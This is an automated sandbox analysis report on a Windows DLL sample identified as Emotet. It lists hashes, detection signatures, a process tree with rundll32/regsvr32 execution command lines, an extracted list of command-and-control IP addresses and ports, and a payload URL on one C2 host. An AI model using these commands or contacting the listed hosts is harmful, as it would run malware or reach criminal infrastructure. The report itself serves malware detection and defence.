Edit tour

Windows Analysis Report
DVvzRulsoR.dll

Overview

General Information

Sample Name:	DVvzRulsoR.dll
Analysis ID:	745057
MD5:	c9d4c1c3f8729727c29e257f612e019f
SHA1:	15dd4aedf9f79cabbc8c0b057f6a0f9437c9ede7
SHA256:	030eb0fa76d1329d836619c55778968fc664186642fbb16df30ec1be10396fc9
Tags:	dllexe
Infos:

Detection

Emotet

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Creates an autostart registry key pointing to binary in C:\Windows

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Connects to several IPs in different countries

Registers a DLL

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 1204 cmdline: loaddll64.exe "C:\Users\user\Desktop\DVvzRulsoR.dll" MD5: C676FC0263EDD17D4CE7D644B8F3FCD6)

conhost.exe (PID: 732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4120 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

rundll32.exe (PID: 3872 cmdline: rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1 MD5: 73C519F050C20580F8A62C849D49215A)

regsvr32.exe (PID: 1768 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll" MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 3156 cmdline: regsvr32.exe /s C:\Users\user\Desktop\DVvzRulsoR.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 5240 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MlZgEhEmvETvuuKKb\FtRB.dll" MD5: D78B75FC68247E8A63ACBA846182740E)

rundll32.exe (PID: 2860 cmdline: rundll32.exe C:\Users\user\Desktop\DVvzRulsoR.dll,DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

regsvr32.exe (PID: 1432 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LvIwYhCVKH\jtinUyBvITUVMo.dll" MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 5020 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YXMhjfj\dQLLbSGEfyZr.dll" MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 4552 cmdline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 1752 cmdline: C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\XtBBL\BJjqJz.dll" MD5: D78B75FC68247E8A63ACBA846182740E)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["172.105.115.71:8080", "218.38.121.17:443", "186.250.48.5:443", "103.71.99.57:8080", "85.214.67.203:8080", "85.25.120.45:8080", "139.196.72.155:8080", "103.85.95.4:8080", "198.199.70.22:8080", "209.239.112.82:8080", "78.47.204.80:443", "36.67.23.59:443", "104.244.79.94:443", "62.171.178.147:8080", "195.77.239.39:8080", "103.56.149.105:8080", "80.211.107.116:8080", "93.104.209.107:8080", "174.138.33.49:7080", "202.28.34.99:8080", "178.62.112.199:8080", "114.79.130.68:443", "118.98.72.86:443", "103.41.204.169:8080", "178.238.225.252:8080", "83.229.80.93:8080", "46.101.98.60:8080", "82.98.180.154:7080", "87.106.97.83:7080", "196.44.98.190:8080", "139.59.80.108:8080", "103.224.241.74:8080", "103.254.12.236:7080", "185.148.169.10:8080", "165.22.254.236:8080", "37.44.244.177:8080", "54.37.228.122:443", "51.75.33.122:443", "128.199.217.206:443", "188.165.79.151:443", "210.57.209.142:8080", "160.16.143.191:8080", "175.126.176.79:8080", "202.134.4.210:7080", "103.126.216.86:443", "190.145.8.4:443", "128.199.242.164:8080", "64.227.55.231:8080"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000011.00000002.409037530.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.253841528.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.638288631.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.254964190.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.256651400.0000015728870000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.254773052.0000020F1C530000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.256329327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.256727170.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000011.00000002.408396292.0000000000A70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.263381284.0000027280100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.639586735.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
17.2.regsvr32.exe.a70000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll64.exe.27280100000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.20f1c530000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.15728870000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.15728870000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.660000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
17.2.regsvr32.exe.a70000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.20f1c530000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.660000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.ab0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.ab0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll64.exe.27280100000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Snort Signatures

ET CNC Feodo Tracker Reported CnC Server TCP group 3 - Source IP: 192.168.2.5 - Destination IP: 115.178.55.22

Timestamp:	192.168.2.5115.178.55.2249707802404304 11/13/22-18:35:31.861704
SID:	2404304
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: DVvzRulsoR.dll

Virustotal: Detection: 43%

Perma Link

Source: 00000006.00000002.638474003.0000000000B08000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Emotet {"C2 list": ["172.105.115.71:8080", "218.38.121.17:443", "186.250.48.5:443", "103.71.99.57:8080", "85.214.67.203:8080", "85.25.120.45:8080", "139.196.72.155:8080", "103.85.95.4:8080", "198.199.70.22:8080", "209.239.112.82:8080", "78.47.204.80:443", "36.67.23.59:443", "104.244.79.94:443", "62.171.178.147:8080", "195.77.239.39:8080", "103.56.149.105:8080", "80.211.107.116:8080", "93.104.209.107:8080", "174.138.33.49:7080", "202.28.34.99:8080", "178.62.112.199:8080", "114.79.130.68:443", "118.98.72.86:443", "103.41.204.169:8080", "178.238.225.252:8080", "83.229.80.93:8080", "46.101.98.60:8080", "82.98.180.154:7080", "87.106.97.83:7080", "196.44.98.190:8080", "139.59.80.108:8080", "103.224.241.74:8080", "103.254.12.236:7080", "185.148.169.10:8080", "165.22.254.236:8080", "37.44.244.177:8080", "54.37.228.122:443", "51.75.33.122:443", "128.199.217.206:443", "188.165.79.151:443", "210.57.209.142:8080", "160.16.143.191:8080", "175.126.176.79:8080", "202.134.4.210:7080", "103.126.216.86:443", "190.145.8.4:443", "128.199.242.164:8080", "64.227.55.231:8080"]}

Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354F9410 CryptStringToBinaryA,CryptStringToBinaryA,		0_2_00007FFE354F9410
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354F9410 CryptStringToBinaryA,CryptStringToBinaryA,		3_2_00007FFE354F9410

Source: DVvzRulsoR.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354EC334 FindFirstFileExW,		0_2_00007FFE354EC334
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354EC334 FindFirstFileExW,		3_2_00007FFE354EC334

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 115.178.55.22 80			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.105.115.71 8080			Jump to behavior

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2404304 ET CNC Feodo Tracker Reported CnC Server TCP group 3 192.168.2.5:49707 -> 115.178.55.22:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 172.105.115.71:8080
Source: Malware configuration extractor	IPs: 218.38.121.17:443
Source: Malware configuration extractor	IPs: 186.250.48.5:443
Source: Malware configuration extractor	IPs: 103.71.99.57:8080
Source: Malware configuration extractor	IPs: 85.214.67.203:8080
Source: Malware configuration extractor	IPs: 85.25.120.45:8080
Source: Malware configuration extractor	IPs: 139.196.72.155:8080
Source: Malware configuration extractor	IPs: 103.85.95.4:8080
Source: Malware configuration extractor	IPs: 198.199.70.22:8080
Source: Malware configuration extractor	IPs: 209.239.112.82:8080
Source: Malware configuration extractor	IPs: 78.47.204.80:443
Source: Malware configuration extractor	IPs: 36.67.23.59:443
Source: Malware configuration extractor	IPs: 104.244.79.94:443
Source: Malware configuration extractor	IPs: 62.171.178.147:8080
Source: Malware configuration extractor	IPs: 195.77.239.39:8080
Source: Malware configuration extractor	IPs: 103.56.149.105:8080
Source: Malware configuration extractor	IPs: 80.211.107.116:8080
Source: Malware configuration extractor	IPs: 93.104.209.107:8080
Source: Malware configuration extractor	IPs: 174.138.33.49:7080
Source: Malware configuration extractor	IPs: 202.28.34.99:8080
Source: Malware configuration extractor	IPs: 178.62.112.199:8080
Source: Malware configuration extractor	IPs: 114.79.130.68:443
Source: Malware configuration extractor	IPs: 118.98.72.86:443
Source: Malware configuration extractor	IPs: 103.41.204.169:8080
Source: Malware configuration extractor	IPs: 178.238.225.252:8080
Source: Malware configuration extractor	IPs: 83.229.80.93:8080
Source: Malware configuration extractor	IPs: 46.101.98.60:8080
Source: Malware configuration extractor	IPs: 82.98.180.154:7080
Source: Malware configuration extractor	IPs: 87.106.97.83:7080
Source: Malware configuration extractor	IPs: 196.44.98.190:8080
Source: Malware configuration extractor	IPs: 139.59.80.108:8080
Source: Malware configuration extractor	IPs: 103.224.241.74:8080
Source: Malware configuration extractor	IPs: 103.254.12.236:7080
Source: Malware configuration extractor	IPs: 185.148.169.10:8080
Source: Malware configuration extractor	IPs: 165.22.254.236:8080
Source: Malware configuration extractor	IPs: 37.44.244.177:8080
Source: Malware configuration extractor	IPs: 54.37.228.122:443
Source: Malware configuration extractor	IPs: 51.75.33.122:443
Source: Malware configuration extractor	IPs: 128.199.217.206:443
Source: Malware configuration extractor	IPs: 188.165.79.151:443
Source: Malware configuration extractor	IPs: 210.57.209.142:8080
Source: Malware configuration extractor	IPs: 160.16.143.191:8080
Source: Malware configuration extractor	IPs: 175.126.176.79:8080
Source: Malware configuration extractor	IPs: 202.134.4.210:7080
Source: Malware configuration extractor	IPs: 103.126.216.86:443
Source: Malware configuration extractor	IPs: 190.145.8.4:443
Source: Malware configuration extractor	IPs: 128.199.242.164:8080
Source: Malware configuration extractor	IPs: 64.227.55.231:8080

Source: Joe Sandbox View	ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: Joe Sandbox View	IP Address: 172.105.115.71 172.105.115.71
Source: Joe Sandbox View	IP Address: 188.165.79.151 188.165.79.151

Source: unknown

Network traffic detected: IP country count 20

Source: unknown	TCP traffic detected without corresponding DNS query: 115.178.55.22
Source: unknown	TCP traffic detected without corresponding DNS query: 115.178.55.22
Source: unknown	TCP traffic detected without corresponding DNS query: 115.178.55.22
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71
Source: unknown	TCP traffic detected without corresponding DNS query: 172.105.115.71

Source: regsvr32.exe, 00000006.00000003.367040877.0000000000BBF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495143590.0000000000BBF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.639011563.0000000000BBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000006.00000003.495217626.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494889010.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638905316.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.366722075.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.367009474.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab0R
Source: regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en~
Source: regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://172.105.115.71:8080/
Source: regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495171028.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.366581124.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://172.105.115.71:8080/wwyvvucvxqws/mizawg/mkzlwgu/
Source: regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://172.105.115.71:8080/wwyvvucvxqws/mizawg/mkzlwgu/s.dll

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 17.2.regsvr32.exe.a70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll64.exe.27280100000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.20f1c530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.15728870000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.15728870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.regsvr32.exe.a70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.20f1c530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.ab0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll64.exe.27280100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.409037530.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.253841528.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.638288631.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.254964190.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.256651400.0000015728870000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.254773052.0000020F1C530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.256329327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.256727170.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.408396292.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.263381284.0000027280100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.639586735.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\rundll32.exe

File deleted: C:\Windows\System32\BBtfDITJMLhY\HkJOPwKLEPOb.dll:Zone.Identifier

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

File created: C:\Windows\system32\YXMhjfj\

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354F3FB0	0_2_00007FFE354F3FB0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354F1910	0_2_00007FFE354F1910
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354EA370	0_2_00007FFE354EA370
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354EABC0	0_2_00007FFE354EABC0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354EC334	0_2_00007FFE354EC334
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180020454	0_2_0000000180020454
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180028C94	0_2_0000000180028C94
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800038A5	0_2_00000001800038A5
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800248E0	0_2_00000001800248E0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180009144	0_2_0000000180009144
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180005DB4	0_2_0000000180005DB4
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180004DDC	0_2_0000000180004DDC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000B1E0	0_2_000000018000B1E0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180009E38	0_2_0000000180009E38
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180003BE8	0_2_0000000180003BE8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180009BEC	0_2_0000000180009BEC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800173F8	0_2_00000001800173F8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180017BF8	0_2_0000000180017BF8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180015400	0_2_0000000180015400
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180001000	0_2_0000000180001000
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000741C	0_2_000000018000741C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000E828	0_2_000000018000E828
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180002834	0_2_0000000180002834
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180014C48	0_2_0000000180014C48
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018002005C	0_2_000000018002005C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180016464	0_2_0000000180016464
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180005478	0_2_0000000180005478
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180006880	0_2_0000000180006880
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018002748C	0_2_000000018002748C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001308C	0_2_000000018001308C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180024098	0_2_0000000180024098
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001B898	0_2_000000018001B898
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000C498	0_2_000000018000C498
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180004CA0	0_2_0000000180004CA0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800110AC	0_2_00000001800110AC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800148B0	0_2_00000001800148B0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800078B6	0_2_00000001800078B6
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180001CCC	0_2_0000000180001CCC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000B8D0	0_2_000000018000B8D0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800198DC	0_2_00000001800198DC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800038DC	0_2_00000001800038DC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800264F8	0_2_00000001800264F8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800084F8	0_2_00000001800084F8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000BD00	0_2_000000018000BD00
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180015508	0_2_0000000180015508
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180018D0C	0_2_0000000180018D0C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180012110	0_2_0000000180012110
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001B520	0_2_000000018001B520
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180029124	0_2_0000000180029124
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180013524	0_2_0000000180013524
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180009D24	0_2_0000000180009D24
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180023D28	0_2_0000000180023D28
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180002128	0_2_0000000180002128
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180020930	0_2_0000000180020930
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001F550	0_2_000000018001F550
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180020D54	0_2_0000000180020D54
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180010954	0_2_0000000180010954
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180018560	0_2_0000000180018560
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000E570	0_2_000000018000E570
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001C974	0_2_000000018001C974
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000F174	0_2_000000018000F174
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180025D84	0_2_0000000180025D84
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180005590	0_2_0000000180005590
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180017198	0_2_0000000180017198
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800159A0	0_2_00000001800159A0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180011DAC	0_2_0000000180011DAC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000D1AC	0_2_000000018000D1AC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800069C0	0_2_00000001800069C0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000A1D4	0_2_000000018000A1D4
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800079D8	0_2_00000001800079D8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001C1DC	0_2_000000018001C1DC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000D1E0	0_2_000000018000D1E0
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800199E8	0_2_00000001800199E8
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00000001800099EC	0_2_00000001800099EC
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180028A04	0_2_0000000180028A04
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001FA08	0_2_000000018001FA08
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001E614	0_2_000000018001E614
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180001A1C	0_2_0000000180001A1C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000BA24	0_2_000000018000BA24
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180021A2C	0_2_0000000180021A2C
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180019230	0_2_0000000180019230
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000BE34	0_2_000000018000BE34
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180012244	0_2_0000000180012244
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180006650	0_2_0000000180006650
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180001660	0_2_0000000180001660
